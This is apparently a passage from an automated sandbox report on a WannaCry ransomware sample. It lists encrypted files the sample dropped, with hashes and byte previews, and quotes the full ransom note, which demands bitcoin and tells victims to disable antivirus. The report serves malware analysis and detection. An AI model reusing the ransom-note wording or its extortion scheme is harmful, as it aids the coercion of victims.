                                      SHA-512:725CB2C232DA34115E307241C3C8F87A712AC5A3846ABD7C79F49795A7AF3132353D1C51B34DBFE1A7E86FD2510D1CF6DE3473B8D1D0018CF63010A77B505D56
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!...._...!y..D.{..5..(.....AA..,...w.o$..!.;....[.z.&Y.....E^w..]....s`AY6.?C..}g..k...L.(..+..@..a..Y.....*..i..Jh.*r...}1w.e.....-....p..u.S..EG.*p.PeM........hxt.hjM...M..b.=....~"...I..0.95.y..fG.D..Lz..>./.a.s..-..bk.jE.%......._.D...6.R...2...(................(....65...Wl\2..1H..-0.LTN."......v.....R.....\7f....Z....2;&..&...bx.....q..2..r..............y...N_....;b"W.O.sK...v.?........e{.E._v....3.g.^O....[.......8Y..^G..^/.R2..0O'.d_......^.8..U.`.j....x.T...A.X!D......CG.1.........[q.t..!....<..x...%.&...}_p>ua9.e..e.v@.S,.||#.-v..f..G:n.y..2...q8.vJzu......WVI...%....LXr.mU.Y..9.HD'.....Vp....gx....B:.t.....8|.w&.LQ)..[c..-.H........1C(..VR..z^^/r......D.^R.$Dd...K$'_6..|...@.3..f..y...p../X...D...D..c...B..........6.?...%Y~..).!Um.,.l;.]..s..Q.....m.X.!.....]..0..o.>.m.$53...h...@.L.B.|+..z..,$..j.jQ.|n....F!..yn..=|J...0.4w.3...)dy...6|.f..+$..~.:....M...~....Z.E{..}.8QT~..w.C..Ds..q...qv.....X.>h.6......*....{....e|E...

                                      C:\Users\user\Documents\ZQIXMVQGAH.mp3

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.810425922861857
                                      Encrypted:false
                                      SSDEEP:24:WW22x2EDU6spah691Z7KaONi12eF+SHoGF5Itna/Nyr:WR2xxU6sUh691Z7vo3BSIGjWna/Ir
                                      MD5:C560B3DE91AA91F10B7EBED97BC36A5A
                                      SHA1:7D04A9949E403F3EAF8676922C62629A1AB04673
                                      SHA-256:A6D55ED69BEA86F746C301078EAD8647274097DC3BEAC6978E0F06B7ED39CB7D
                                      SHA-512:601E2E6835587F861EE033F382C4E5F0C508428DCFB0227472BAB37A87663FB05F7A77EBE11BAD720D4C737CDF5B2A52B6FA72570F821AC5AE2E11951FF1F76D
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:...@XpE.4Y.....4.m._...53].....;y...$.9.#..;k.R........WG..d....4......k.Tn..L.R.|7VK.nW.{..qb..MT.K..FE.fI......K.s"..}...Y....L..YWJC.....9..<z=t..^.8j.v+j.$........L.B!..k .C..QV{B.....B..fm.....n..S.....m.}.q........$.9.z'....p..;..C.....3a.....}.BP'./6.E.y.....-p.m.Qj...E3...R.pY....d}.9b...)b.6H..........._e.:=5Xr.oa..;..?E.n.....P.lz.a..}..0...=P.$..Rxg.n..zyZ..~.R.ds...%.5...-k.2.x_.....sM.A=s.<Q.G..#.ML..E..&I<f.ge.J..n..M0...4..(f.&F....:a.M...^x:.a....2...7A..F...pb.z......3..);O....w..1...U';O...M...?0..@s._..Z.v.F.rSH..Z.t.n....Ki...'....I.w......z..,M]........^.@.O. .C"...\E...S...~.......|...0YC...&I1....X...`Xd.H..~|@i..r.......X.k9k.D-Q.R|.}$....m..S...YI.k~,.0m<.C1...T....?.xXv.../...j...8@?.$...l..PRb(d....>.0..Z...b48.p... .i.g4.W..11.....>....?..bZx..&..U..;|.*...v.v.p^......P.L.B..."...3m.d..'...5....<m.a.TT.....))ha_..Z<._..=.o....S..V0........g(t.....n@......c...=.D..!.=./..Y........B...{q....K..<...6.....N8...

                                      C:\Users\user\Documents\ZQIXMVQGAH.mp3.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.848840098515906
                                      Encrypted:false
                                      SSDEEP:24:bk+SR7jFzwdC5vokARamXUcm5qdkmeRZSwZdIjt+WRDVVwQ:bk1JjRH5v/AgmXUXYd6ZS+d4tGQ
                                      MD5:6850CD40660819468FFB34A856B50AA3
                                      SHA1:292543B441612258445CCBABE3B53E10156902C8
                                      SHA-256:4699CC159420578E84188C9CEC278690ACACE61669DF1123CD0FDCB9CC5DEAF2
                                      SHA-512:1E15A077F5E6A2ECB13F418F350EE54E8B2C652B6AE2FFF732A03AE3917CABC1BB597391AAF060EB25FD9D4991F170B981BD790D5BC8A48FEE6AE422B4A682FC
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!......0......z.).T.c..'.@......JJ0.......?....I........~..,....!q.W.O.n.t..KZ...9..HcVYg|.d..H.}..z..4d....../.K...f`n...l.$..U4x.....j/..}..=|P....3F........?.[^c..U..$$.6R.e.l,.9...*>k.8O..`.BI)....G.u..Q..6..-"..m|... .6..1R........fW7.G..<.............. ...h.hG.....B.#..5.Lu...>..//...DT.N..V..J...7^...\j./..&....U.....|P..C..P...].....x....h0....(.W...Q.>.wPw7.....5.B....CS:E.....M=[.........E0....tl....`f..N.<..8....<.<{..=s@......Y(.......* -].Hi.....czb..C...*@.....(.1a?y..P......r.v.5..I...j....1.N...6.....+.D..KC...v..0.._y....0m.qE.$..vF.5 8..}U..*....D{.SDv.r...'.J......~B.yW....}.x....fR.p......n.i..7....UJu...7f.a.".. ......jW3.G^.*.ir..f..".{\Y..S|~[...g...W..zh.lM....t.;.-&a .:=..6.....<Lm...[.q<h...!..|.....-.{Y.$%.......p...N...tn.o(p.J...@/D\.t3.~.e*$Y....;dfNE.*f..G../'GT...~.....\....4`..V...<....~`D,_zL3.mO...c.....d.>....E.u..(c.....7....I^..NNu.!K.Y;3.J.M.\5....w5....?....t{...T.......PVn.O.^.....7r..s......

                                      C:\Users\user\Documents\ZQIXMVQGAH.mp3.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.848840098515906
                                      Encrypted:false
                                      SSDEEP:24:bk+SR7jFzwdC5vokARamXUcm5qdkmeRZSwZdIjt+WRDVVwQ:bk1JjRH5v/AgmXUXYd6ZS+d4tGQ
                                      MD5:6850CD40660819468FFB34A856B50AA3
                                      SHA1:292543B441612258445CCBABE3B53E10156902C8
                                      SHA-256:4699CC159420578E84188C9CEC278690ACACE61669DF1123CD0FDCB9CC5DEAF2
                                      SHA-512:1E15A077F5E6A2ECB13F418F350EE54E8B2C652B6AE2FFF732A03AE3917CABC1BB597391AAF060EB25FD9D4991F170B981BD790D5BC8A48FEE6AE422B4A682FC
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!......0......z.).T.c..'.@......JJ0.......?....I........~..,....!q.W.O.n.t..KZ...9..HcVYg|.d..H.}..z..4d....../.K...f`n...l.$..U4x.....j/..}..=|P....3F........?.[^c..U..$$.6R.e.l,.9...*>k.8O..`.BI)....G.u..Q..6..-"..m|... .6..1R........fW7.G..<.............. ...h.hG.....B.#..5.Lu...>..//...DT.N..V..J...7^...\j./..&....U.....|P..C..P...].....x....h0....(.W...Q.>.wPw7.....5.B....CS:E.....M=[.........E0....tl....`f..N.<..8....<.<{..=s@......Y(.......* -].Hi.....czb..C...*@.....(.1a?y..P......r.v.5..I...j....1.N...6.....+.D..KC...v..0.._y....0m.qE.$..vF.5 8..}U..*....D{.SDv.r...'.J......~B.yW....}.x....fR.p......n.i..7....UJu...7f.a.".. ......jW3.G^.*.ir..f..".{\Y..S|~[...g...W..zh.lM....t.;.-&a .:=..6.....<Lm...[.q<h...!..|.....-.{Y.$%.......p...N...tn.o(p.J...@/D\.t3.~.e*$Y....;dfNE.*f..G../'GT...~.....\....4`..V...<....~`D,_zL3.mO...c.....d.>....E.u..(c.....7....I^..NNu.!K.Y;3.J.M.\5....w5....?....t{...T.......PVn.O.^.....7r..s......

                                      C:\Users\user\Documents\ZQIXMVQGAH.pdf

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.801732328230126
                                      Encrypted:false
                                      SSDEEP:24:wbHm6/WYlSxfVkQ4PClMSiVCtKIbRLrhdXQ042nQHs/0LSF:omaLofVF4PNZCYIbRLXB4DHst
                                      MD5:D11A24CC02DBA3B2913C6F66D52ECC9D
                                      SHA1:5E15342420A1AD744285B70EE5086BCFDBEB8462
                                      SHA-256:772E36516F3C871DAB4D229BD627D1BD48460E4509B841CA36D0ED06987C4CAC
                                      SHA-512:3555D176D176C78248B75641BB9EF08E8CA00E4791CB698001954E3D310783457E577A5081A49CAAC5F5397EDD36F2F70E65E36B011A553A6A46A6891BDD6D5E
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:..8Kzo..b;..g...7.%.j...W=PL.'1.yt...y88.j..3...'...#.R.5..u.........E.r.f.T.......3.G.H@.$d..:Uk.Kpo2..Y.^.$.SK'...=.....,.^b..dC.B...n.q.>....&Y...|g^..+z<n..l.J)..O..+.8...h...L,.St..0...Q.u<9q}.D.CVJ..[.VV]:I.[[.5...S...F.~........T....Jf..zc>... ..H.....9..?~/...&{oY.].F9....?]_o.LpR.G...]c....,.O@>p...j.^...P..p.... ....8..yV...3.c...lu.V .F.Z.GF.)......I.2.M[w...r.......O>z_.UQ.\S_pv.o..?Kg*C.<..h...zp.\`h..>j#...s.....+C]....(..p|_m.Xz.{!....d...^kC5I'..L2._.......g..r.4]..\..g{P.}..._.a%..sH.^.....fv..7.........Q.........`'(mwx...a....|.K!.y....O..C..|r......9t.......V...,....]......*Y...f......i...p...8...y.!..|...O......5...t...f..h.*|T.ds......i.eJ.d......+s.]..2...F.........?...=...........g..... ..X....\.%...S......v......qU,..h.....0k.....Z_b......!..S.=......c...EI..(8...e..p*.._gglw..,.+U.|..q?....!..*...7.T..f.d._.S\.Z..z..c...8@......V.|.i...&.ilw.U...U..Y.@../.....4~....bJ.f|.5...v3..~.X}..zj....p.k..._

                                      C:\Users\user\Documents\ZQIXMVQGAH.pdf.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.821835226051471
                                      Encrypted:false
                                      SSDEEP:24:bk+3EFHhy1tT2L006bFSeHpXywxWccTWWyaMNu63GMMx6btxKN:bkyEFHE3KiQeHEwA/MNucnMxStxKN
                                      MD5:86319C630B1E4B21F3E15BA739180A7A
                                      SHA1:A07321F6F5656099EF8E8F5EC3A940F1ECE939A7
                                      SHA-256:30450E0F461999636FBF20DEB7CB863ACC800656CF439B6AD0640C4A33F63B56
                                      SHA-512:048BA7F257BC0C33249856149E6926C550F7579E1956860EA64676A44EB3E952BFD05E78127514CEAD5321FA2EA0DA94324D772FFB0C9FBA333AB1DEF43A55CB
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....U..f...s...y..Tk....E..E..BX8..]v..|..vl(v.B.c),.Pu...u...U...N..4.qu..%....ch.e.4..FN..0...0.j....O.T.I..Al,..W..Nw.P...H`""1.....\.P.....a.....\.....|ZMX.....L...7.T.z...>H...Q:...)-..y}..D.G.[h.$....7........J.E.........5..a...f\uR@...................78b)..6<[yk.9....:.M.......j;.&.P.1....3.f6..1?..y...8..U...I.J....Ur.8DJ.W.H&..3....f.[.......e_...=5.qi;.....E#a.?..3A..RO.|4."Sd.....*S.]5V.}.;......O..I.KQ...8..}...tE...n.....f.M..u..].....R&=nVICs]..q.?.}..n...:.J.^>.q..z *....!T!]....o.%...p_.i..#j...]/G..}..7.+.>O+l.s.y.Z}).b.}k..<Z........r.o7...A....0.....e..x4w....}.^...l......K.6.g.(...&.q..t...$o.`..{P7P\..A.&9`|.WX....}.*.58..Lj...k.EW&Z'.....|.#...|..8.U.e.0....&.N_..B.*#..h.......PF/....2..........>.........+g.....wD.p....1...-.V.&bJ..<?+.}..*...p..gG2S...<..Y|..f+..{..M.>..X.Z.. GC....`..1...an.8...[=(.=.Ku."1..G.......^H..b{......BQZX..3K?.5]....<.-.H...u..........[.....;X<A.....D.,+M9.h4..-y.[....N.....

                                      C:\Users\user\Documents\ZQIXMVQGAH.pdf.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.821835226051471
                                      Encrypted:false
                                      SSDEEP:24:bk+3EFHhy1tT2L006bFSeHpXywxWccTWWyaMNu63GMMx6btxKN:bkyEFHE3KiQeHEwA/MNucnMxStxKN
                                      MD5:86319C630B1E4B21F3E15BA739180A7A
                                      SHA1:A07321F6F5656099EF8E8F5EC3A940F1ECE939A7
                                      SHA-256:30450E0F461999636FBF20DEB7CB863ACC800656CF439B6AD0640C4A33F63B56
                                      SHA-512:048BA7F257BC0C33249856149E6926C550F7579E1956860EA64676A44EB3E952BFD05E78127514CEAD5321FA2EA0DA94324D772FFB0C9FBA333AB1DEF43A55CB
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....U..f...s...y..Tk....E..E..BX8..]v..|..vl(v.B.c),.Pu...u...U...N..4.qu..%....ch.e.4..FN..0...0.j....O.T.I..Al,..W..Nw.P...H`""1.....\.P.....a.....\.....|ZMX.....L...7.T.z...>H...Q:...)-..y}..D.G.[h.$....7........J.E.........5..a...f\uR@...................78b)..6<[yk.9....:.M.......j;.&.P.1....3.f6..1?..y...8..U...I.J....Ur.8DJ.W.H&..3....f.[.......e_...=5.qi;.....E#a.?..3A..RO.|4."Sd.....*S.]5V.}.;......O..I.KQ...8..}...tE...n.....f.M..u..].....R&=nVICs]..q.?.}..n...:.J.^>.q..z *....!T!]....o.%...p_.i..#j...]/G..}..7.+.>O+l.s.y.Z}).b.}k..<Z........r.o7...A....0.....e..x4w....}.^...l......K.6.g.(...&.q..t...$o.`..{P7P\..A.&9`|.WX....}.*.58..Lj...k.EW&Z'.....|.#...|..8.U.e.0....&.N_..B.*#..h.......PF/....2..........>.........+g.....wD.p....1...-.V.&bJ..<?+.}..*...p..gG2S...<..Y|..f+..{..M.>..X.Z.. GC....`..1...an.8...[=(.=.Ku."1..G.......^H..b{......BQZX..3K?.5]....<.-.H...u..........[.....;X<A.....D.,+M9.h4..-y.[....N.....

                                      C:\Users\user\Documents\ZTGJILHXQB.docx

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.794908565832732
                                      Encrypted:false
                                      SSDEEP:24:N3QJ4fkHsOOij6rOoYR7yLWphm9c0P9rHKbA7t3YXQ:TfkVj+OPe4Q9CbA7t3YA
                                      MD5:8FBCB932AE9BE41BAB51BCC14D6B2B5C
                                      SHA1:900C91D0346413637261659AC7D6A780BC74B868
                                      SHA-256:0A63D96E7086696AF55C519E221E0E0DF154E06588EBAAFB1BC5728CE69B7ECB
                                      SHA-512:737DD7FA309DA283930C31678507F2D49F5047F4C9F06A17F8A67F35B524F0A103CB7623D9EBDF493CEA8CE0E0A9D5C1B5FC949A4DE19D6DA7E4273454469C9C
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:...c.<.."S.N%<!..$..P.wOT.\.m6....H3*.8#.a.2n_N]..I.*;?-.2jk..-S.D9....... ...]K.6..3.v......l5.{..8.0$=..j...7Q.-c..X.v... 1....Q.@..8.6..8.<y..lQk...K...7).. ...U...y.....s.Gp.!...o2..J.R.q4.E.#..E.m....&|.4#.....A.n....m$.L.R.....THss..I.....`......!&v-a1..D<...s....2f....t.*[...6P...C6?.pS0......~..fH..]..^....<.E.U...8.H...Z..3E..$....%t....fS.....2.gE..``.x.#|O.P[....c5.G.....&..SS.....SA.[.....u=.F/f.u.6..O..@.../....w..S.P....p......\.u2..d......).Z....q..?.c..j.{;....A.MSG)...&...%....Z.|.....-...>..b.<.....UK;e...dMu....K..ud...tBvW..G...e$.Fq.q.+...bT.l{...P.0%..>.@.m.....6..$u......Q_.Q.......z........|.^.Gs8..x..E{$..~.HQ..NZ'.....92.v.......{.L.z.*...H..'X...*@....n.G"*.m!Q..8..k71...;.,.d.K.]FH.Q.;X.V.9..yv,.o..;.yy............U.........t.S..\..._^...."i..@..@b.~.9E.ce=..$.\.c.MK;Dj.....[.{.7<.Z.9.....\$.....{........(..g.....&..L..//....b..{P.}#.g|.w9?;....&.?......r>.J...W.t-.n...'tV'...e....&l..{..._2.T-[xw..vY

                                      C:\Users\user\Documents\ZTGJILHXQB.docx.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.8511760368382575
                                      Encrypted:false
                                      SSDEEP:24:bkjuLaS3AAeVZnnLq2Hd7pOhwTmHrnG7kVe0rwMblHRfi1Xl1TbdENO9sSoMNvI0:bk8vAAeTLq258QOrG70nbi1HJS2s6vI0
                                      MD5:53002AF4B6D8B06245AFCA831B23F629
                                      SHA1:6888C9ECB3945758B554E25CDBC529FA07B35DCE
                                      SHA-256:B1261249CEEBE674F9D1183900A213DA87D475BAFF48FAFF8EB3B4DF65798504
                                      SHA-512:FA6881DB506EFAB742FA2451647E7558AE7362A5EF6D9D74B3D11E83D0C30C452696D1F11B180E381AEB8F5F1091714C6FB993AD21F42F0D866B48E2023BC0E0
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....#.F..R........iU.N.q...P..'O...N.~..Y..u...{%..[)...;..N<).=|...l...7....5'.>.%.lu.r.mf.j.6UH-...r..$...s.&4.g.z.M..%9E......b...&.......v=....@xY.+..p...T._.Y.s.x......3..<..)6..5#.0..C.*.U..`.x2.:..T.`.....Hw.%:I1.bzPU...........,b.1?...............N.).....Po...0......@.\.....G....De......3..i................^.....g.vR@....q51.&.?I.. *.3c.uc.U. V.} ....Bm....H/..1+O..-.E..C.....].t=.'..J./._........z ....,..,..hX....!..}........S..(...V....8r..#{q....-.......{.Uh..KH`....(C..f!^`.8......iP..O.`v.ue...=.;......C..Q....G==....l.0.i...C..2...)..........Nk.*.\T...(Ys..f.8;....=...i..A.&NHn.|.A+s.v/.........8c..Lv'(v..Nw..:..3....p...U.......]UQV..|l .X.\.q.:ov..C....).........e.NDB]....._..8.F]*.._.r..J.....O...^..Z...v..`.......C..{.).4.oW...I.....{[...8.~..VT2..`....(...{.....I.....<-.`.._..N@.3..'. .j..>j........4....'....B..j..l.(HP.v..{..p\...uR.H.ds.D......+..%.3.'......&<....uG.|..-..m....j...R.b..=5.].p.\.......F

                                      C:\Users\user\Documents\ZTGJILHXQB.docx.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.8511760368382575
                                      Encrypted:false
                                      SSDEEP:24:bkjuLaS3AAeVZnnLq2Hd7pOhwTmHrnG7kVe0rwMblHRfi1Xl1TbdENO9sSoMNvI0:bk8vAAeTLq258QOrG70nbi1HJS2s6vI0
                                      MD5:53002AF4B6D8B06245AFCA831B23F629
                                      SHA1:6888C9ECB3945758B554E25CDBC529FA07B35DCE
                                      SHA-256:B1261249CEEBE674F9D1183900A213DA87D475BAFF48FAFF8EB3B4DF65798504
                                      SHA-512:FA6881DB506EFAB742FA2451647E7558AE7362A5EF6D9D74B3D11E83D0C30C452696D1F11B180E381AEB8F5F1091714C6FB993AD21F42F0D866B48E2023BC0E0
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....#.F..R........iU.N.q...P..'O...N.~..Y..u...{%..[)...;..N<).=|...l...7....5'.>.%.lu.r.mf.j.6UH-...r..$...s.&4.g.z.M..%9E......b...&.......v=....@xY.+..p...T._.Y.s.x......3..<..)6..5#.0..C.*.U..`.x2.:..T.`.....Hw.%:I1.bzPU...........,b.1?...............N.).....Po...0......@.\.....G....De......3..i................^.....g.vR@....q51.&.?I.. *.3c.uc.U. V.} ....Bm....H/..1+O..-.E..C.....].t=.'..J./._........z ....,..,..hX....!..}........S..(...V....8r..#{q....-.......{.Uh..KH`....(C..f!^`.8......iP..O.`v.ue...=.;......C..Q....G==....l.0.i...C..2...)..........Nk.*.\T...(Ys..f.8;....=...i..A.&NHn.|.A+s.v/.........8c..Lv'(v..Nw..:..3....p...U.......]UQV..|l .X.\.q.:ov..C....).........e.NDB]....._..8.F]*.._.r..J.....O...^..Z...v..`.......C..{.).4.oW...I.....{[...8.~..VT2..`....(...{.....I.....<-.`.._..N@.3..'. .j..>j........4....'....B..j..l.(HP.v..{..p\...uR.H.ds.D......+..%.3.'......&<....uG.|..-..m....j...R.b..=5.].p.\.......F

                                      C:\Users\user\Documents\ZTGJILHXQB.pdf

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.8166291126363925
                                      Encrypted:false
                                      SSDEEP:24:MXZBwxgssRuDv72rvxVqQN9tB5XeR0EdwhS8mh63P:8Xk/muLmHqQPtBxeR0Gh63P
                                      MD5:8623393843A8800197405DD7BCB9C197
                                      SHA1:69291A07B2CF113F9E30E9E733809828147096AC
                                      SHA-256:5FCACBB7C25A9D1BE298088945E5B1CEF2C03C503DF7E7B5AED4D658969DE547
                                      SHA-512:FCF26FE8928DEE811E51EB4E1F3A19A3673DC4644F21DD22DCBAB20AE1A8113E3248F786CDDC9A0C5BCC81C02DB9EC6793CF73C1827BF18DDE67DBA03A690B4F
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:P.y6QsH...(..4.(.e....i...rt|.:...1..,<.!.?.#+M..W...E.Me..>p.~r.PX.f`...BW....Q..k*.B4.aa..G*TA!`#.n.>....a.#....[.f..K....{..z....Te....qNW0...W9.[..U._@...x`....xoSX.0}Wf.....2.....ki.....-.3...x..Q..;t.%.3..C....^..b.n``.^.I..cm*.2r.....+3K...._$A.....d.p..blro...ER..9.\.I`.h.....n...U..<.........A...3...%..d.p...]<.n.k...k......<........<...R#.;...A....H..{.I........J..s{?.....t...0R.....+Z..>...0.....3.,.5.0X...Kzj*..T.OVS.R.X.zLG.....b3.........|7qgR..g{...Y..@.)p..hKe.V...........%,.<U..P.8f..I .....w.h.a..?...2Y....1.NC|f.4..W9...5....flo.../...n..V.g.U8:....,'4j,K.............gm.R.a.Sc........;.5......d~./b..=Xl...(.....Q.sX.ac...M......x.....%b.)P.O.*.....mW.He.2n.....e.mP.........8.h...K....A.h3l-....&dM..~ZFe#.A.Y...'..V...}..@.....]....K.5/..H.:......!T..t..A..$.s3\.r..}........-.......A-..?D.?/.5.Y..N...Z.TL..z..|.c"...}....^'.i..q..".2.FS.q......80).L4.WZ..~D_..Di..b.<.v..j\wL...(.Wf.........dnu`G.x..".j?..s.`.s.l~....R..."

                                      C:\Users\user\Documents\ZTGJILHXQB.pdf.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.855933108282903
                                      Encrypted:false
                                      SSDEEP:24:bkAHHzOzxAA/w35BUmBTZzQl9GRMtpu1tUFDIt1pqHym7Re7VcQ7qcdLf/Y:bk0wxtc59Zz8tpKWDIoHym7Re7V7ZdLg
                                      MD5:83A731DA9BF7EE2B62EAA52532EFD9E5
                                      SHA1:FED42BEDFCD2588ADEBA1218FB506210B717E3DD
                                      SHA-256:3B7590A3D3B09D289C27AD027621D60A350F857260477FCD23996EB7941DD567
                                      SHA-512:40C16EB84D5CB616E9F33272F33B1266144684FBFB23AFB73FB330CD68DF9E713FE757D7D3CA8C4BB3E59A960850E748CDDC2D8090DFF37E8F5F5412BABD0EF4
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....@c....S... ...4.$......qm .1FJ.^%f.9.......i.'......{&F..f2|.v(..0.If.8.....T[.....N+\..Q$....O.6*t.m....#......3.}v.gh.........5]..."...?'....8I.f.9.L...].....b.p.4u_]...... .F.r..h._..V.. ...n..S/....l1.`g.;e.....Q..d..Re.H#.......6.,f@............t....GB~^.;UL....b.....p........O...Rk.xj..X..SkP......".r.2.......ob..QO.s.u.fZ.MZ.......9.$%9..P...).?.vlHP'....P...v.........=.p&.. .."..zg...[Fz8,Z.!...W.`..6..H.."u......."?Z.y..x..y..i..W0Sd..$!...6......~.....b.uE\?0\....=&7.J...*d...0../..y.vn.......^.w{.#..K=u..se.P..|.....\..J.L.bd...6#.%..............$.S...w....ZTe.s........d...?.5<@.dE..kpm2.v.>...NN.X........GO.......8..!.+@FvD..:w...+>8.2..t......_.".d...}.... ,.N...R.e.41,.v.|B[..:...B..........=.......B....4...;v..{|..7..<.M..O-...J\0M..H....).eYKP.8.....d....h..@[...4..E.[.2..~.h.....|'=..^.....;...=.5.S.N.....T[.'....Z.T].....t]GW<1yb..E...m.$T..\n`c.x!.O.3.... ..Cyu.....e...a...0'I+..t.....?...]l......

                                      C:\Users\user\Documents\ZTGJILHXQB.pdf.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.855933108282903
                                      Encrypted:false
                                      SSDEEP:24:bkAHHzOzxAA/w35BUmBTZzQl9GRMtpu1tUFDIt1pqHym7Re7VcQ7qcdLf/Y:bk0wxtc59Zz8tpKWDIoHym7Re7V7ZdLg
                                      MD5:83A731DA9BF7EE2B62EAA52532EFD9E5
                                      SHA1:FED42BEDFCD2588ADEBA1218FB506210B717E3DD
                                      SHA-256:3B7590A3D3B09D289C27AD027621D60A350F857260477FCD23996EB7941DD567
                                      SHA-512:40C16EB84D5CB616E9F33272F33B1266144684FBFB23AFB73FB330CD68DF9E713FE757D7D3CA8C4BB3E59A960850E748CDDC2D8090DFF37E8F5F5412BABD0EF4
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....@c....S... ...4.$......qm .1FJ.^%f.9.......i.'......{&F..f2|.v(..0.If.8.....T[.....N+\..Q$....O.6*t.m....#......3.}v.gh.........5]..."...?'....8I.f.9.L...].....b.p.4u_]...... .F.r..h._..V.. ...n..S/....l1.`g.;e.....Q..d..Re.H#.......6.,f@............t....GB~^.;UL....b.....p........O...Rk.xj..X..SkP......".r.2.......ob..QO.s.u.fZ.MZ.......9.$%9..P...).?.vlHP'....P...v.........=.p&.. .."..zg...[Fz8,Z.!...W.`..6..H.."u......."?Z.y..x..y..i..W0Sd..$!...6......~.....b.uE\?0\....=&7.J...*d...0../..y.vn.......^.w{.#..K=u..se.P..|.....\..J.L.bd...6#.%..............$.S...w....ZTe.s........d...?.5<@.dE..kpm2.v.>...NN.X........GO.......8..!.+@FvD..:w...+>8.2..t......_.".d...}.... ,.N...R.e.41,.v.|B[..:...B..........=.......B....4...;v..{|..7..<.M..O-...J\0M..H....).eYKP.8.....d....h..@[...4..E.[.2..~.h.....|'=..^.....;...=.5.S.N.....T[.'....Z.T].....t]GW<1yb..E...m.$T..\n`c.x!.O.3.... ..Cyu.....e...a...0'I+..t.....?...]l......

                                      C:\Users\user\Documents\ZTGJILHXQB\@Please_Read_Me@.txt

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:ASCII text, with CRLF line terminators
                                      Category:dropped
                                      Size (bytes):933
                                      Entropy (8bit):4.708686542546707
                                      Encrypted:false
                                      SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                      MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                      SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                      SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                      SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                      C:\Users\user\Documents\ZTGJILHXQB\@WanaDecryptor@.exe.lnk

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Jul 25 21:20:31 2024, mtime=Thu Jul 25 21:20:31 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                      Category:dropped
                                      Size (bytes):577
                                      Entropy (8bit):5.134947904596006
                                      Encrypted:false
